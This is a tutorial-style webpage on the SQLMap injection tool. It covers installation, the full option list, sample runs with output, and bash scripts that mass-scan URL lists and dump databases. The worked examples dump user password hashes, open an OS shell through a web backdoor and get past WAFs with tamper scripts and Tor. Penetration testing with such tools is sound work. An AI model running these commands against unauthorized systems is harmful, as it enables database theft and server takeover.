SQLMap Tool: Installation, Usage, and Troubleshooting

SQLMap Tool: Installation, Usage, and Troubleshooting

SQLMap is a free, open-source penetration testing tool written in Python that automates the process of detecting and exploiting SQL injection (SQLi) vulnerabilities and taking over database servers. It was created by Bernardo Damele and Miroslav Stampar and is maintained as an active open-source project on GitHub. SQLMap is considered the de-facto industry standard for automated SQL injection testing and is included by default in Kali Linux, Parrot OS, and most other penetration testing distributions.

SQLMap comes with a powerful detection engine capable of identifying six different types of SQL injection:

It supports a very broad set of database management systems, including MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite, IBM DB2, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, Amazon Redshift, Vertica, Cache, H2, MonetDB, Presto, Apache Derby, and CockroachDB.

Beyond simple data extraction, SQLMap can fingerprint the back-end DBMS and its version, dump entire databases/tables/columns, read and write files on the underlying filesystem (when privileges allow), execute arbitrary operating-system commands via --os-shell or --os-pwn, establish an out-of-band connection, crack password hashes, and enumerate users, privileges, roles, and databases. It also includes a built-in tamper script engine to bypass Web Application Firewalls (WAFs) and Intrusion Detection/Prevention Systems (IDS/IPS).


Installation

SQLMap comes pre-installed on Kali Linux. You can verify and update it as follows.

Verify Pre-Installed Version (Kali Linux)

sqlmap --version

Update via APT (Kali Linux)

sudo apt update
sudo apt install sqlmap -y

Install/Update from Source (Git — Latest Development Version)

sudo git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap-dev
cd /opt/sqlmap-dev
python3 sqlmap.py --version

Install via pip (cross-platform)

pip3 install sqlmap --break-system-packages

Requirements

Verify Installation

which sqlmap
sqlmap --version

Expected output:

/usr/bin/sqlmap
1.8.11#stable

Syntax

The general syntax for SQLMap is:

sqlmap [options]

Most common working form:

sqlmap -u "<target-url>" [detection-options] [enumeration-options] [technique-options] [request-options]

Example minimal invocation:

sqlmap -u "http://target.com/item.php?id=1"

Command-Line Options Reference (Kali Linux)

SQLMap’s options are grouped into logical categories. Below is the comprehensive reference as available in the Kali Linux build.

Target Options

OptionDescription
-u, --url=URLTarget URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORKProcess Google dork results as target URLs
-m BULKFILEScan multiple targets given in a textual file
-r REQUESTFILELoad HTTP request from a file (Burp/ZAP-captured request)
-l LOGFILEParse targets from a Burp/WebScarab proxy log
-x SITEMAPURLParse targets from a remote sitemap(.xml) file
--wizardSimple wizard interface for beginners

Request Options

OptionDescription
--data=DATAData string to be sent through POST
--param-del=PARAM_DELCharacter used for splitting parameter values
--cookie=COOKIEHTTP Cookie header value
--cookie-del=COOKIE_DELCharacter used for splitting cookie values
--live-cookies=LCLive cookies file
--load-cookies=LCFile containing cookies in Netscape/wget format
--drop-set-cookieIgnore Set-Cookie header from response
--http2Use HTTP version 2
--random-agentUse randomly selected User-Agent
--host=HOSTHTTP Host header value
--referer=REFERERHTTP Referer header value
-A, --user-agent=AGENTHTTP User-Agent header value
-H, --header=HEADERExtra header (e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERSExtra headers, newline separated
--auth-type=AUTH_TYPEHTTP authentication type (Basic, Digest, Bearer, NTLM)
--auth-cred=AUTH_CREDHTTP authentication credentials (name:password)
--auth-file=AUTH_FILEHTTP authentication PEM cert/private key file
--abort-code=ABORT_CODEHTTP code(s) to abort on (comma separated)
--ignore-code=IGNORE_CODEHTTP error code(s) to ignore
--ignore-proxyIgnore system default proxy
--ignore-redirectsIgnore redirection attempts
--ignore-timeoutsIgnore connection timeouts
--proxy=PROXYUse a proxy (e.g. http://127.0.0.1:8080)
--proxy-cred=PROXY_CREDProxy authentication credentials
--proxy-file=PROXY_FILELoad proxy list from a file
--torUse the Tor anonymity network
--tor-port=TOR_PORTSet Tor proxy port
--tor-type=TOR_TYPETor proxy type (HTTP, SOCKS4, SOCKS5)
--check-torCheck whether Tor is used properly
--delay=DELAYDelay in seconds between HTTP requests
--timeout=TIMEOUTSeconds to wait before connection timeout
--retries=RETRIESRetries when connection times out
--randomize=RPARAMRandomize the value for given parameter
--safe-url=SAFURLURL to visit frequently during testing
--safe-freq=SAFEFREQTest requests between safe URL visits
--skip-urlencodeSkip URL encoding of payload data
--csrf-token=CSRF_TOKENParameter name holding an anti-CSRF token
--csrf-url=CSRF_URLURL to visit for extracting anti-CSRF token
--force-sslForce usage of SSL/HTTPS
--chunkedUse HTTP chunked transfer encoded (POST) requests
--hppUse HTTP parameter pollution
--eval=EVALCODEEvaluate provided Python code before request

Optimization Options

OptionDescription
-oTurn on all optimization switches
--predict-outputPredict common queries output
--keep-aliveUse persistent HTTP(s) connections
--null-connectionRetrieve page length without an actual HTTP response body
--threads=THREADSMax number of concurrent HTTP requests (max 10)

Injection Options

OptionDescription
-p TESTPARAMETERTestable parameter(s)
--skip=SKIPSkip testing for given parameter(s)
--skip-staticSkip testing parameters not appearing dynamic
--param-exclude=REGEXRegex to exclude parameters from testing
--dbms=DBMSForce back-end DBMS to this value
--dbms-cred=DBMS_CREDDBMS authentication credentials
--os=OSForce back-end DBMS operating system
--invalid-bignumUse big numbers for invalidating values
--invalid-logicalUse logical operations for invalidating values
--invalid-stringUse random strings for invalidating values
--no-castTurn off payload casting mechanism
--no-escapeTurn off string escaping mechanism
--prefix=PREFIXInjection payload prefix string
--suffix=SUFFIXInjection payload suffix string
--tamper=TAMPERUse tamper script(s) for bypassing WAF/IPS

Detection Options

OptionDescription
--level=LEVELLevel of tests to perform (1–5, default 1)
--risk=RISKRisk of tests to perform (1–3, default 1)
--string=STRINGString to match when query is evaluated as True
--not-string=NOT_STRINGString to match when query is evaluated as False
--regexp=REGEXPRegex to match when query is evaluated as True
--code=CODEHTTP code to match when query is evaluated as True
--smartPerform thorough tests only if positive heuristic
--text-onlyCompare pages based on textual content only
--titlesCompare pages based on their titles only

Techniques Options

OptionDescription
--technique=TECHSQL injection techniques to use (default BEUSTQ)
--time-sec=TIMESECSeconds to delay the DBMS response (time-based)
--uni on-cols=UCOLSRange of columns to test for UNIO N query SQLi
--unio n-char=UCHARCharacter to use for bruteforcing column count
--unio n-from=UFROMTable to use in FROM part of UNI ON query SQLi
--uni on-values=UVALUESColumn values to use for UNI ON query SQLi
--dns-domain=DNS_DOMAINDomain name used for DNS exfiltration attack
--second-order=SECOND_ORDERResulting page URL searched for second-order response

(Technique letters: B=Boolean-based blind, E=Error-based, U=UNIO N query-based, S=Stacked queries, T=Time-based blind, Q=Inline queries, O=Out-of-band)

Fingerprint Options

OptionDescription
-f, --fingerprintPerform extensive DBMS version fingerprint

Enumeration Options

OptionDescription
-a, --allRetrieve everything
-b, --bannerRetrieve DBMS banner
--current-userRetrieve DBMS current user
--current-dbRetrieve DBMS current database
--hostnameRetrieve DBMS server hostname
--is-dbaDetect if current user is DBA
--usersEnumerate DBMS users
--passwordsEnumerate DBMS users password hashes
--privilegesEnumerate DBMS users privileges
--rolesEnumerate DBMS users roles
--dbsEnumerate DBMS databases
--tablesEnumerate DBMS database tables
--columnsEnumerate DBMS database table columns
--schemaEnumerate DBMS schema
--countRetrieve number of entries for table(s)
--dumpDump DBMS database table entries
--dump-allDump all DBMS databases tables entries
--searchSearch for column(s), table(s), and/or database name(s)
--commentsRetrieve DBMS comments
--statementsRetrieve SQL statements being run on DBMS
-D DBDBMS database to enumerate
-T TBLDBMS database table(s) to enumerate
-C COLDBMS database table column(s) to enumerate
-X EXCLUDECOLDBMS database table column(s) to not enumerate
-U USERDBMS user to enumerate
--exclude-sysdbsExclude DBMS system databases when enumerating
--pivot-column=PIVOT_COLUMNPivot column name
--where=DUMPWHEREUse WHERE condition while dumping entries
--start=LIMITSTARTFirst dump table entry to retrieve
--stop=LIMITSTOPLast dump table entry to retrieve
--first=FIRSTCHARFirst query output word character to retrieve
--last=LASTCHARLast query output word character to retrieve
--sql-query=QUERYSQL statement to be executed
--sql-shellPrompt for an interactive SQL shell
--sql-file=SQLFILEExecute SQL statements from a given file

Brute Force Options

OptionDescription
--common-tablesCheck existence of common tables
--common-columnsCheck existence of common columns
--common-filesCheck existence of common files

User-Defined Function Injection

OptionDescription
--udf-injectInject custom user-defined functions
--shared-lib=SHLIBLocal path of shared library

File System Access

OptionDescription
--file-read=RFILERead a file from the back-end DBMS filesystem
--file-write=WFILEWrite a local file on the back-end DBMS filesystem
--file-dest=DFILEBack-end DBMS absolute filepath to write to

Operating System Access

OptionDescription
--os-cmd=OSCMDExecute an operating system command
--os-shellPrompt for an interactive operating system shell
--os-pwnPrompt for OOB shell, Meterpreter, or VNC
--os-smbrelayOne-click OOB shell/Meterpreter/VNC via SMB relay
--os-bofStored procedure buffer overflow exploitation
--priv-escDatabase process user privilege escalation
--msf-path=MSFPATHLocal path to Metasploit Framework installation
--tmp-path=TMPPATHRemote absolute path of temporary files directory

Windows Registry Access

OptionDescription
--reg-readRead a Windows registry key value
--reg-addWrite a Windows registry key value
--reg-delDelete a Windows registry key value
--reg-key=REGKEYWindows registry key
--reg-value=REGVALWindows registry key value
--reg-data=REGDATAWindows registry key value data
--reg-type=REGTYPEWindows registry key value type

General Options

OptionDescription
-s SESSIONFILELoad session from a stored (.sqlite) file
-t TRAFFICFILELog all HTTP traffic into a textual file
--answers=ANSWERSSet predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64PARAMParameter(s) containing Base64 encoded data
--base64-safeUse URL and filename safe Base64 alphabet
--batchNever ask for user input, use default behavior
--binary-fields=BFResult fields to be treated as binary
--check-internetCheck Internet connection before assessing target
--cleanupClean up DBMS from sqlmap-specific UDFs/tables
--crawl=CRAWLDEPTHCrawl the website from target URL
--crawl-exclude=CERegex to exclude pages from crawling
--csv-del=CSVDELDelimiter to use in CSV output
--charset=CHARSETBlind SQLi charset (heuristic charset guessing)
--dump-file=DFStore dumped data into a custom file
--dump-format=DFFormat of dumped data (CSV, HTML, SQLITE)
--etaDisplay for each output the estimated time of arrival
--flush-sessionFlush session files for current target
--formsParse and test forms on target URL
--fresh-queriesIgnore query results stored in session file
--gpage=GOOGLEPAGEUse Google dork results from specified page
--identify-wafPerform thorough WAF/IPS/IDS identification
--ignore-401Ignore HTTP error 401 (Unauthorized)
--list-tampersDisplay list of available tamper scripts
--mobileImitate smartphone via HTTP User-Agent header
--offlineWork in offline mode (only use session data)
--output-dir=ODCustom output directory path
--parse-errorsParse and display DBMS error messages from responses
--preprocess=PREPROCESSPreprocess input (e.g. header values) with given script
--postprocess=POSTPROCESSPostprocess output with given script
--repairRedump entries with unknown character marker
--save=SAVECONFIGSave options to a configuration INI file
--scope=SCOPERegex to filter targets from provided input
--test-filter=TFSelect tests by payload/title regex
--test-skip=TSSkip tests by payload/title regex
--updateUpdate sqlmap

Miscellaneous Options

OptionDescription
-z MNEMONICSUse short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERTRun host OS command(s) when SQLi is found
--beepBeep on question and/or when SQLi is found
--dependenciesCheck for missing (non-core) sqlmap dependencies
--disable-coloringDisable console output coloring
--disable-hashingDisable hash analysis and cracking
--list-tampersList available tamper scripts
--purgeSafely remove sqlmap’s data directory
--results-file=RFMultiple targets results file location
--shellPrompt for interactive sqlmap shell
--tmp-dir=TMPDIRLocal directory for storing temp files
--unstableAdjust options for unstable connections
--updateUpdate sqlmap to the latest development version
--wizardSimple wizard interface for beginners
-h, --helpShow basic help message and exit
-hhShow advanced help message and exit
--versionShow program version and exit
-v VERBOSEVerbosity level (0–6, default 1)

Basic Usage (Expected Output in Bash)

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

Expected output:

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.11#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.

[*] starting @ 10:41:02 /2026-07-19/

[10:41:02] [INFO] testing connection to the target URL
[10:41:03] [INFO] testing if the target URL content is stable
[10:41:03] [INFO] target URL content is stable
[10:41:03] [INFO] testing if GET parameter 'artist' is dynamic
[10:41:03] [INFO] GET parameter 'artist' appears to be dynamic
[10:41:04] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable
[10:41:04] [INFO] testing for SQL injection on GET parameter 'artist'
[10:41:05] [INFO] GET parameter 'artist' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[10:41:07] [INFO] GET parameter 'artist' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[10:41:09] [INFO] GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: artist (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: artist=1 AND 1=1

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: artist=1 AND (SELECT 2*(IF((1=1),1,0)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: artist=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)
---
[10:41:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 7.4.3, Apache 2.4.41
back-end DBMS: MySQL >= 5.0
[10:41:10] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 10:41:10 /2026-07-19/

Practical Examples with Output in Bash

Example 1 — Basic Detection

sqlmap -u "http://target.com/product.php?id=3" --batch
[INFO] GET parameter 'id' is 'boolean-based blind' injectable
[INFO] the back-end DBMS is MySQL
[10:42:11] [INFO] fetching current user and database is skipped in batch mode without -a/--all

Example 2 — Enumerate Databases

sqlmap -u "http://target.com/product.php?id=3" --dbs --batch
available databases [3]:
[*] information_schema
[*] shopdb
[*] mysql

Example 3 — Enumerate Tables in a Database

sqlmap -u "http://target.com/product.php?id=3" -D shopdb --tables --batch
Database: shopdb
[4 tables]
+------------+
| users      |
| products   |
| orders     |
| categories |
+------------+

Example 4 — Enumerate Columns of a Table

sqlmap -u "http://target.com/product.php?id=3" -D shopdb -T users --columns --batch
Table: users
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| username | varchar(50) |
| password | varchar(255)|
| email    | varchar(100)|
+----------+-------------+

Example 5 — Dump Table Data

sqlmap -u "http://target.com/product.php?id=3" -D shopdb -T users -C username,password --dump --batch
Database: shopdb
Table: users
[3 entries]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
| bob      | e10adc3949ba59abbe56e057f20f883e |
| alice    | 25d55ad283aa400af464c76d713c07ad |
+----------+----------------------------------+

Example 6 — Using a POST Request from a Burp Suite Capture

sqlmap -r login_request.txt -p username --batch --dbs
[INFO] testing if POST parameter 'username' is dynamic
[INFO] POST parameter 'username' appears to be 'AND boolean-based blind' injectable
available databases [2]:
[*] webapp
[*] information_schema

Example 7 — Testing with Cookie-Based Session and Level/Risk Tuning

sqlmap -u "http://target.com/dashboard.php" --cookie="PHPSESSID=abc123; security=low" --level=5 --risk=3 --batch
[10:55:20] [INFO] testing cookie parameter 'security'
[10:55:22] [INFO] cookie parameter 'security' is 'time-based blind' injectable

Example 8 — Bypassing a WAF with a Tamper Script

sqlmap -u "http://target.com/search.php?q=test" --tamper=space2comment --batch
[11:02:03] [INFO] loading tamper module 'space2comment'
[11:02:05] [INFO] GET parameter 'q' appears to be 'time-based blind' injectable

Example 9 — Getting an Interactive OS Shell

sqlmap -u "http://target.com/product.php?id=3" --os-shell --batch
[INFO] the back-end DBMS is MySQL
[INFO] going to use a web backdoor for command execution
[INFO] the web application directory is writable
os-shell> whoami
do you want to retrieve the command standard output? [Y/n] Y
command standard output: 'www-data'

Example 10 — Running a Custom SQL Query

sqlmap -u "http://target.com/product.php?id=3" --sql-query="SELECT version()" --batch
[11:10:44] [INFO] fetching SQL SELECT statement query output: 'SELECT version()'
[*] 10.6.12-MariaDB-0ubuntu0.22.04.1

Example 11 — Scanning Multiple Targets from a File

sqlmap -m targets.txt --batch --dbs
[11:15:02] [INFO] URL 1/5 (http://site1.com/id.php?id=1):
available databases [2]: [*] site1db [*] information_schema
[11:15:20] [INFO] URL 2/5 (http://site2.com/prod.php?p=4):
[WARNING] parameter 'p' does not seem injectable

Example 12 — Crawling a Site for Injectable Forms

sqlmap -u "http://target.com" --crawl=2 --forms --batch
[11:20:11] [INFO] starting crawler for target URL 'http://target.com'
[11:20:14] [INFO] searched for 12 pages, 3 with forms
[11:20:16] [INFO] found 1 injectable form: /search.php (POST)

Common Use Cases


Automation with Bash

Simple Batch Scanner Script

#!/bin/bash
# scan_targets.sh - Automate sqlmap scanning across a list of URLs

TARGET_FILE="targets.txt"
OUTPUT_DIR="sqlmap_results_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$OUTPUT_DIR"

while IFS= read -r url; do
    echo "[*] Scanning: $url"
    domain=$(echo "$url" | awk -F/ '{print $3}')
    sqlmap -u "$url" --batch --level=3 --risk=2 --dbs \
        --output-dir="$OUTPUT_DIR" \
        2>&1 | tee "$OUTPUT_DIR/${domain}.log"
    echo "[*] Done: $url"
    echo "----------------------------------------"
done < "$TARGET_FILE"

echo "[+] All scans complete. Results in $OUTPUT_DIR"

Run it:

chmod +x scan_targets.sh
./scan_targets.sh

Automated Dump-If-Vulnerable Pipeline

#!/bin/bash
# auto_dump.sh - Detect SQLi, then automatically dump if found

URL="$1"
if [ -z "$URL" ]; then
    echo "Usage: $0 <target-url>"
    exit 1
fi

echo "[*] Testing $URL for SQL injection..."
sqlmap -u "$URL" --batch --level=2 --risk=1 > /tmp/sqlmap_scan.log 2>&1

if grep -q "is vulnerable" /tmp/sqlmap_scan.log || grep -q "injectable" /tmp/sqlmap_scan.log; then
    echo "[+] Target appears injectable. Extracting databases..."
    sqlmap -u "$URL" --batch --dbs
else
    echo "[-] No injection point found."
fi

Cron-Based Recurring Authorized Scan

# crontab -e
# Run authorized weekly scan every Monday at 2 AM against staging environment
0 2 * * 1 /usr/bin/sqlmap -u "http://staging.internal.corp/id.php?id=1" --batch --level=3 --risk=2 --output-dir=/var/log/sqlmap >> /var/log/sqlmap/cron.log 2>&1

Tips and Best Practices


Troubleshooting

ProblemCauseSolution
unable to connect to the target URLTarget down, wrong URL, network/proxy issueVerify URL in browser; check --proxy; check --timeout
parameter appears to be dynamic but no injection foundInsufficient level/risk, WAF filtering payloadsIncrease --level/--risk; try --tamper scripts
Scan hangs indefinitelyTarget rate-limiting or unstable connectionAdd --timeout, --retries, --unstable
all tested parameters do not appear to be injectableParameter genuinely not injectable, or requires POST/cookie testingTest other injection points: cookies, headers, JSON body via --data
False positive boolean-based detectionUnstable page content (ads, timestamps)Use --text-only or --string/--not-string for stable markers
os-shell fails to upload web backdoorWeb root not writable, wrong absolute path guessedManually specify --web-root=/var/www/html
Session data seems outdated after app changesCached .sqlite session fileRun with --flush-session
WAF blocking all requests (403s)IP-based blocking / signature detectionUse --tor, --tamper, rotate --proxy, add delay
ERROR: invalid URLMissing scheme (http:///https://) or malformed URLEnsure full URL with scheme is passed to -u
Garbled/incorrect dumped dataNon-standard charsetUse --charset= to specify correct character set

References

Exit mobile version